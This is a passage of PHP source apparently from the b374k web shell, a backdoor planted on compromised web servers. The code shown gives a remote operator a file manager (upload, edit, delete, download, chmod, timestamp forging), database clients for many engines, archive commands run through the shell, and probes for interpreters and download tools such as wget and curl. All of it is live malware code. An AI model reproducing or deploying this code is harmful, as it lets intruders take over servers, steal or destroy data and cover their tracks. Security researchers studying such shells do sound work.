function zip($s_srcarr, $s_dest){
    if(!extension_loaded('zip')) return false;
    if(class_exists("ZipArchive")){
        $s_zip = new ZipArchive();
        if(!$s_zip->open($s_dest, 1)) return false;

        if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
        foreach($s_srcarr as $s_src){
            $s_src = str_replace('\', '/', $s_src);
            if(@is_dir($s_src)){
                $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
                foreach($s_files as $s_file){
                    $s_file = str_replace('\', '/', $s_file);
                    if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
                    if (@is_dir($s_file)===true)	$s_zip->addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
                    else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file));
                }
            }
            elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @fgc($s_src));
        }
        $s_zip->close();
        return true;
    }
}
// check shell permission to access program
function check_access($s_lang){
    $s_s = false;
    $ver = "";
    switch($s_lang){
        case "python":
            $s_cek = strtolower(exe("python -h"));
            if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
            break;
        case "perl":
            $s_cek = strtolower(exe("perl -h"));
            if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
            break;
        case "ruby":
            $s_cek = strtolower(exe("ruby -h"));
            if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
            break;
        case "node":
            $s_cek = strtolower(exe("node -h"));
            if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
            break;
        case "nodejs":
            $s_cek = strtolower(exe("nodejs -h"));
            if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
            break;
        case "gcc":
            $s_cek = strtolower(exe("gcc --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("gcc --version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        case "tar":
            $s_cek = strtolower(exe("tar --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("tar --version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        case "java":
            $s_cek = strtolower(exe("java -help"));
            if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version"));
            break;
        case "javac":
            $s_cek = strtolower(exe("javac -help"));
            if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("javac -version"));
            break;
        case "wget":
            $s_cek = strtolower(exe("wget --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("wget --version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        case "lwpdownload":
            $s_cek = strtolower(exe("lwp-download --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("lwp-download --version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        case "lynx":
            $s_cek = strtolower(exe("lynx --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("lynx -version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        case "curl":
            $s_cek = strtolower(exe("curl --help"));
            if(strpos($s_cek,"usage")!==false){
                $s_ver = exe("curl --version");
                $s_ver = explode("
",$s_ver);
                if(count($s_ver)>0) $ver = $s_ver[0];
            }
            break;
        default:
            return false;
    }
    if(!empty($ver)) $s_s = $ver;
    return $s_s;
}
// explorer, return a table of given dir
function showdir($s_cwd){
    global $s_self, $s_win, $s_posix, $s_tar;

    $s_fname = $s_dname = array();
    $s_total_file = $s_total_dir = 0;

    if($s_dh = @opendir($s_cwd)){
        while($s_file = @readdir($s_dh)){
            if(@is_dir($s_file)) $s_dname[] = $s_file;
            elseif(@is_file($s_file))$s_fname[] = $s_file;
        }
        closedir($s_dh);
    }

    natcasesort($s_fname);
    natcasesort($s_dname);
    $s_list = array_merge($s_dname,$s_fname);

    if($s_win){
        //check if this root directory
        chdir("..");
        if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
        chdir($s_cwd);
    }

    $s_path = explode(DS,$s_cwd);
    $s_tree = sizeof($s_path);

    $s_parent = "";
    if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
    else $s_parent = $s_cwd;

    $s_owner_html = (!$s_win && $s_posix)? "<th style='width:140px;min-width:140px;'>owner:group</th>":"";
    $s_colspan = (!$s_win && $s_posix)? "5" : "4";
    $s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>".$s_owner_html."<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";


    foreach($s_list as $s_l){
        if(!$s_win && $s_posix){
            $s_name = posix_getpwuid(fileowner($s_l));
            $s_group = posix_getgrgid(filegroup($s_l));
            $s_owner = $s_name['name']."<span class='gaya'>:</span>".$s_group['name'];
            $s_owner_html = "<td style='text-align:center;'>".$s_owner."</td>";
        }

        $s_lhref = $s_lname = $s_laction = "";
        if(@is_dir($s_l)){
            if($s_l=="."){
                $s_lhref = $s_self."cd=".pl($s_cwd);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik1'><a href='".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
            }
            elseif($s_l==".."){
                $s_lhref = $s_self."cd=".pl($s_parent);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik2'><a href='".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."'>find</a> | <a href='".$s_self."cd=".pl($s_parent)."&x=upload"."'>upl</a> | <a href='".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."'>+file</a> | <a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
            }
            else{
                $s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
                $s_lsize = "DIR";
                $s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."'>find</a> | <a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."'>upl</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."'>del</a></span><div id='".cs($s_l)."__form'></div>";
                $s_total_dir++;
            }
            $s_lname = "[ ".$s_l." ]";
            $s_lsizetit = "0";
            $s_lnametit = "dir : ".$s_l;
        }
        else{
            $s_lhref = $s_self."view=".pl($s_cwd.$s_l);
            $s_lname = $s_l;
            $s_lsize = gs($s_l);
            $s_lsizetit = @filesize($s_l);
            $s_lnametit = "file : ".$s_l;
            $s_laction = "<span id='".cs($s_l)."_'><a href='".$s_self."edit=".pl($s_cwd.$s_l)."'>edit</a> | <a href='".$s_self."hexedit=".pl($s_cwd.$s_l)."'>hex</a> | <a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\">ren</a> | <a href='".$s_self."del=".pl($s_cwd.$s_l)."'>del</a> | <a href='".$s_self."dl=".pl($s_cwd.$s_l)."'>dl</a></span><div id='".cs($s_l)."__form'></div>";
            $s_total_file++;
        }

        $s_cboxval = $s_cwd.$s_l;
        if($s_l=='.') $s_cboxval = $s_cwd;
        if($s_l=='..') $s_cboxval = $s_parent;

        $s_cboxes_id = substr(md5($s_lhref),0,8);
        $s_cboxes = "<input id='".$s_cboxes_id."' name='cbox' value='".hss($s_cboxval)."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_cboxes_id."' class='css-label'></label>";

        $s_ltime = filemtime($s_l);
        $s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>".$s_cboxes."</td><td class='xpl' title='".$s_lnametit."' ondblclick=\"return go('".adds($s_lhref)."',event);\"><a href='".$s_lhref."'>".$s_lname."</a></td><td title='".$s_lsizetit."'>".$s_lsize."</td>".$s_owner_html."<td class='ce'>".gp($s_l)."</td><td class='ce' title='".$s_ltime."'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>";
    }
    $s_buff .= "</tbody>";

    $s_extract = ""; $s_compress = "";
    if(class_exists("ZipArchive")){
        $s_extract .= "<option value='extractzip'>extract (zip)</option>";
        $s_compress .= "<option value='compresszip'>compress (zip)</option>";
    }
    if($s_tar){
        $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
        $s_compress .="<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
    }

    $s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value='' disabled>-</option>".$s_compress:$s_extract.$s_compress;

    $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='".$s_self."' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>".$s_extcom."</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='".$s_colspan."' style='text-align:left;'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id='total_selected'></span></td></tr></tfoot></table>";

    return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
        elseif(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_connect')){
            $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
            return @sqlsrv_connect($s_sqlhost,$s_coninfo);
        }
        elseif(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
    }
    elseif($s_sqltype == 'pgsql'){
        $s_hosts = explode(":", $s_sqlhost);
        if(count($s_hosts)==2){
            $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
        }
        else $s_host_str = "host=".$s_sqlhost;
        if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
    }
    elseif($s_sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
    elseif($s_sqltype == 'sqlite3'){
        if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
        else return false;
    }
    elseif($s_sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost); }
    elseif($s_sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
    elseif($s_sqltype == 'pdo'){
        if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
        else return false;
    }
    return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli')) return $s_con->query($s_query);
        elseif(function_exists('mysql_query')) return mysql_query($s_query);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query);
        elseif(function_exists('mssql_query')) return mssql_query($s_query);
    }
    elseif($s_sqltype == 'pgsql') return pg_query($s_query);
    elseif($s_sqltype == 'oracle') return oci_execute(oci_parse($s_con, $s_query));
    elseif($s_sqltype == 'sqlite3') return $s_con->query($s_query);
    elseif($s_sqltype == 'sqlite') return sqlite_query($s_con, $s_query);
    elseif($s_sqltype == 'odbc') return odbc_exec($s_con, $s_query);
    elseif($s_sqltype == 'pdo') return $s_con->query($s_query);
}
function sql_num_rows($s_sqltype,$s_hasil){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli_result')) return $s_hasil->mysqli_num_rows;
        elseif(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil);
        elseif(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil);
    }
    elseif($s_sqltype == 'pgsql') return pg_num_rows($s_hasil);
    elseif($s_sqltype == 'oracle') return oci_num_rows($s_hasil);
    elseif($s_sqltype == 'sqlite3'){
        $s_metadata = $s_hasil->fetchArray();
        if(is_array($s_metadata)) return $s_metadata['count'];
    }
    elseif($s_sqltype == 'sqlite') return sqlite_num_rows($s_hasil);
    elseif($s_sqltype == 'odbc') return odbc_num_rows($s_hasil);
    elseif($s_sqltype == 'pdo') return $s_hasil->rowCount();
}
function sql_num_fields($s_sqltype, $s_hasil){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli_result')) return $s_hasil->field_count;
        elseif(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil);
        elseif(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil);
    }
    elseif($s_sqltype == 'pgsql') return pg_num_fields($s_hasil);
    elseif($s_sqltype == 'oracle') return oci_num_fields($s_hasil);
    elseif($s_sqltype == 'sqlite3') return $s_hasil->numColumns();
    elseif($s_sqltype == 'sqlite') return sqlite_num_fields($s_hasil);
    elseif($s_sqltype == 'odbc') return odbc_num_fields($s_hasil);
    elseif($s_sqltype == 'pdo') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli_result')) { $z=$s_hasil->fetch_field();return $z->name;}
        elseif(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_field_metadata')){
            $s_metadata = sqlsrv_field_metadata($s_hasil);
            if(is_array($s_metadata)){
                $s_metadata=$s_metadata[$s_i];
            }
            if(is_array($s_metadata)) return $s_metadata['Name'];
        }
        elseif(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i);
    }
    elseif($s_sqltype == 'pgsql') return pg_field_name($s_hasil,$s_i);
    elseif($s_sqltype == 'oracle') return oci_field_name($s_hasil,$s_i+1);
    elseif($s_sqltype == 'sqlite3') return $s_hasil->columnName($s_i);
    elseif($s_sqltype == 'sqlite') return sqlite_field_name($s_hasil,$s_i);
    elseif($s_sqltype == 'odbc') return odbc_field_name($s_hasil,$s_i+1);
    elseif($s_sqltype == 'pdo'){
        $s_res = $s_hasil->getColumnMeta($s_i);
        return $s_res['name'];
    }
}
function sql_fetch_data($s_sqltype,$s_hasil){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli_result')) return $s_hasil->fetch_row();
        elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1);
        elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil);
    }
    elseif($s_sqltype == 'pgsql') return pg_fetch_row($s_hasil);
    elseif($s_sqltype == 'oracle') return oci_fetch_row($s_hasil);
    elseif($s_sqltype == 'sqlite3') return $s_hasil->fetchArray(1);
    elseif($s_sqltype == 'sqlite') return sqlite_fetch_array($s_hasil,1);
    elseif($s_sqltype == 'odbc') return odbc_fetch_array($s_hasil);
    elseif($s_sqltype == 'pdo') return $s_hasil->fetch(2);
}
function sql_close($s_sqltype,$s_con){
    if($s_sqltype == 'mysql'){
        if(class_exists('mysqli')) return $s_con->close();
        elseif(function_exists('mysql_close')) return mysql_close($s_con);
    }
    elseif($s_sqltype == 'mssql'){
        if(function_exists('sqlsrv_close')) return sqlsrv_close($s_con);
        elseif(function_exists('mssql_close')) return mssql_close($s_con);
    }
    elseif($s_sqltype == 'pgsql') return pg_close($s_con);
    elseif($s_sqltype == 'oracle') return oci_close($s_con);
    elseif($s_sqltype == 'sqlite3') return $s_con->close();
    elseif($s_sqltype == 'sqlite') return sqlite_close($s_con);
    elseif($s_sqltype == 'odbc') return odbc_close($s_con);
    elseif($s_sqltype == 'pdo') return $s_con = null;
}
if(!function_exists('str_split')){
    function str_split($s_t,$s_s=1){
        $s_a = array();
        for($s_i = 0; $s_i<strlen($s_t);){
            $s_a[] = substr($s_t,$s_i,$s_s);
            $s_i += $s_s;
        }
        return $s_a;
    }
}

// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
if(isset($_GP['x']) && ($_GP['x']=='switch')){
    if(isset($_COOKIE['theme'])) $s_theme = $_COOKIE['theme'];
    if($s_theme=="bright") $s_theme = "dark";
    else $s_theme = "bright";
    setcookie("theme", $s_theme ,time() + $s_login_time);
}
$s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF");

global $s_self, $s_win, $s_posix;

$s_self = "?";
$s_cek1 = basename($_SERVER['SCRIPT_FILENAME']);
$s_cek2 = substr(basename('index.php'),0,strlen($s_cek1));

if(isset($_COOKIE['b374k_included'])){
    if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE['s_self'];
    else{
        $s_self = "?";
        setcookie("b374k_included", "0" ,time() - $s_login_time);
        setcookie("s_self", $s_self ,time() + $s_login_time);
    }
}
else{
    if(strcmp($s_cek1,$s_cek2)!=0){
        if(!isset($_COOKIE['s_home'])){
            $s_home = "?".$_SERVER["QUERY_STRING"]."&";
            setcookie("s_home", $s_home ,time() + $s_login_time);
        }
        if(isset($s_home)) $s_self = $s_home;
        elseif(isset($_COOKIE['s_home'])) $s_self = $_COOKIE['s_home'];
        setcookie("b374k_included", "1" ,time() + $s_login_time);
        setcookie("s_self", $s_self ,time() + $s_login_time);
    }
    else{
        $s_self = "?";
        setcookie("b374k_included", "0" ,time() - $s_login_time);
        setcookie("s_self", $s_self ,time() + $s_login_time);
    }
}
$s_cwd = "";

if(isset($_GP['|'])) showcode($s_css);
elseif(isset($_GP['!'])) showcode($s_js);

if($s_auth){
    // server software
    $s_software = getenv("SERVER_SOFTWARE");
    // uname -a
    $s_system = php_uname();
    // check os
    $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
    // check for posix
    $s_posix = (function_exists("posix_getpwuid"))? true : false;
    // change working directory
    if(isset($_GP['cd'])){
        $s_dd = $_GP['cd'];
        if(@is_dir($s_dd)){
            $s_cwd = cp($s_dd);
            chdir($s_cwd);
            setcookie("cwd", $s_cwd ,time() + $s_login_time);
        }
        else $s_cwd = isset($_COOKIE['cwd'])? cp($_COOKIE['cwd']):cp(getcwd());;
    }
    else{
        if(isset($_COOKIE['cwd'])){
            $s_dd = ss($_COOKIE['cwd']);
            if(@is_dir($s_dd)){
                $s_cwd = cp($s_dd);
                chdir($s_cwd);
            }
        }
        else $s_cwd = cp(getcwd());
    }

    if(!$s_win && $s_posix){
        $s_userarr = posix_getpwuid(posix_geteuid());
        if(isset($s_userarr['name'])) $s_user = $s_userarr['name'];
        else $s_user = "$";
    }
    else {
        $s_user = get_current_user();
    }

    // prompt style
    $s_prompt = $s_user." &gt;";
    // server ip
    $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
    // your ip ;-)
    $s_my_ip = $_SERVER['REMOTE_ADDR'];
    $s_result = "";

    global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;

    $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
    foreach($s_access as $s){
        if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
        else{
            if(!isset($_COOKIE['b374k'])){
                $t = explode("_", $s);
                $t = check_access($t[1]);
                if($t!==false){
                    $$s = $t;
                    setcookie($s, $$s ,time() + $s_login_time);
                }
            }
        }
    }

    // download file specified by ?dl=<file>
    if(isset($_GP['dl']) && ($_GP['dl'] != "")){
        ob_end_clean();
        $f = $_GP['dl'];
        $fc = fgc($f);
        header("Content-type: application/octet-stream");
        header("Content-length: ".strlen($fc));
        header("Content-disposition: attachment; filename=\"".basename($f)."\";");
        echo $fc;
        die();
    }
    // massact
    if(isset($_GP['z'])){
        $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
        $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
        $s_lists = explode("|", $s_buffer);

        $s_counter = 0;
        if(!empty($s_buffer)){
            if($_GP['z']=='moveok'){
                foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
                if($s_counter>0) $s_result .= notif($s_counter." items moved");
                else $s_result .= notif("No items moved");
            }
            elseif($_GP['z']=='copyok'){
                foreach($s_lists as $s_l){
                    if(@is_dir($s_l)){
                        copys($s_l,$s_cwd.basename($s_l));
                        if(file_exists($s_cwd.basename($s_l))) $s_counter++;
                    }
                    elseif(@is_file($s_l)){
                        copy($s_l,$s_cwd.basename($s_l));
                        if(file_exists($s_cwd.basename($s_l))) $s_counter++;
                    }
                }
                if($s_counter>0) $s_result .= notif($s_counter." items copied");
                else $s_result .= notif("No items copied");
            }
            elseif($_GP['z']=='delok'){
                foreach($s_lists as $s_l){
                    if(@is_file($s_l)){
                        if(unlink($s_l)) $s_counter++;
                    }
                    elseif(@is_dir($s_l)){
                        rmdirs($s_l);
                        if(!file_exists($s_l)) $s_counter++;
                    }
                }
                if($s_counter>0) $s_result .= notif($s_counter." items deleted");
                else $s_result .= notif("No items deleted");
            }
            elseif(isset($_GP['chmodok'])){
                $s_mod = octdec($_GP['chmodok']);
                foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
                if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
                else $s_result .= notif("No items modified");
            }
            elseif(isset($_GP['touchok'])){
                $s_datenew = strtotime($_GP['touchok']);
                foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
                if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
                else $s_result .= notif("No items modified");
            }
            elseif(isset($_GP['compresszipok'])){
                $s_file = $_GP['compresszipok'];
                if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
                else $s_result .= notif("Error creating archive file");
            }
            elseif(isset($_GP['compresstarok'])){
                $s_lists_ = array();
                $s_file = $_GP['compresstarok'];
                $s_file = basename($s_file);

                $s_lists__ = array_map("basename", $s_lists);
                $s_lists_ = array_map("pf", $s_lists__);
                exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));

                if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
                else $s_result .= notif("Error creating archive file");
            }
            elseif(isset($_GP['compresstargzok'])){
                $s_lists_ = array();
                $s_file = $_GP['compresstargzok'];
                $s_file = basename($s_file);

                $s_lists__ = array_map("basename", $s_lists);
                $s_lists_ = array_map("pf", $s_lists__);
                exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));

                if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
                else $s_result .= notif("Error creating archive file");
            }
            elseif(isset($_GP['extractzipok'])){
                $s_file = $_GP['extractzipok'];
                $zip = new ZipArchive();
                foreach($s_lists as $f){
                    $s_target = $s_file.basename($f,".zip");
                    if($zip->open($f)){
                        if(!@is_dir($s_target)) @mkdir($s_target);
                        if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
                        else $s_result .= notif("Error extrating archive file");
                        $zip->close();
                    }
                    else $s_result .= notif("Error opening archive file");
                }
            }
            elseif(isset($_GP['extracttarok'])){
                $s_file = $_GP['extracttarok'];
                foreach($s_lists as $f){
                    $s_target = "";
                    $s_target = basename($f,".tar");
                    if(!@is_dir($s_target)) @mkdir($s_target);
                    exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
                }
            }
            elseif(isset($_GP['extracttargzok'])){
                $s_file = $_GP['extracttargzok'];
                foreach($s_lists as $f){
                    $s_target = "";
                    if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
                    elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
                    if(!@is_dir($s_target)) @mkdir($s_target);
                    exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
                }
            }
        }
        setcookie("buffer", "" ,time() - $s_login_time);
        setcookie("massact", "" ,time() - $s_login_time);
    }
    if(isset($_GP['y'])){
        $s_massact = isset($_COOKIE['massact'])? $_COOKIE['massact']:"";
        $s_buffer = isset($_COOKIE['buffer'])? rtrim(ss($_COOKIE['buffer']),"|"):"";
        $s_lists = explode("|", $s_buffer);

        if(!empty($s_buffer)){
            if($_GP['y']=='delete'){
                $s_result .= notif("Delete ? <a href='".$s_self."z=delok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='paste' && $s_massact=='cut'){
                $s_result .= notif("Move here ? <a href='".$s_self."z=moveok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='paste' && $s_massact=='copy'){
                $s_result .= notif("Copy here ? <a href='".$s_self."z=copyok"."'>Yes</a> | <a href='".$s_self."'>No</a>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='chmod'){
                $s_result .= notif("Permissions ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='touch'){
                $s_result .= notif("Touch ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".@date("d-M-Y H:i:s",time())."' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='extractzip'){
                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='extracttar'){
                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='extracttargz'){
                $s_result .= notif("Extract to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd)."' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='compresszip'){
                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='compresstar'){
                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
            elseif($_GP['y']=='compresstargz'){
                $s_result .= notif("Compress to ? <form action='".$s_self."' method='post'><input class='inputz' type='text' value='".hss($s_cwd).substr(md5(time()),0,8).".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
                foreach($s_lists as $s_l) $s_result .= notif($s_l);
            }
        }
    }

    // view image specified by ?img=<file>
    if(isset($_GP['img'])){
        ob_end_clean();
        $s_d = isset($_GP['d'])? $_GP['d']:"";
        $s_f = $_GP['img'];
        $s_inf = @getimagesize($s_d.$s_f);
        $s_ext = explode($s_f, ".");
        $s_ext = $s_ext[count($s_ext)-1];
        header("Content-type: ".$s_inf["mime"]);
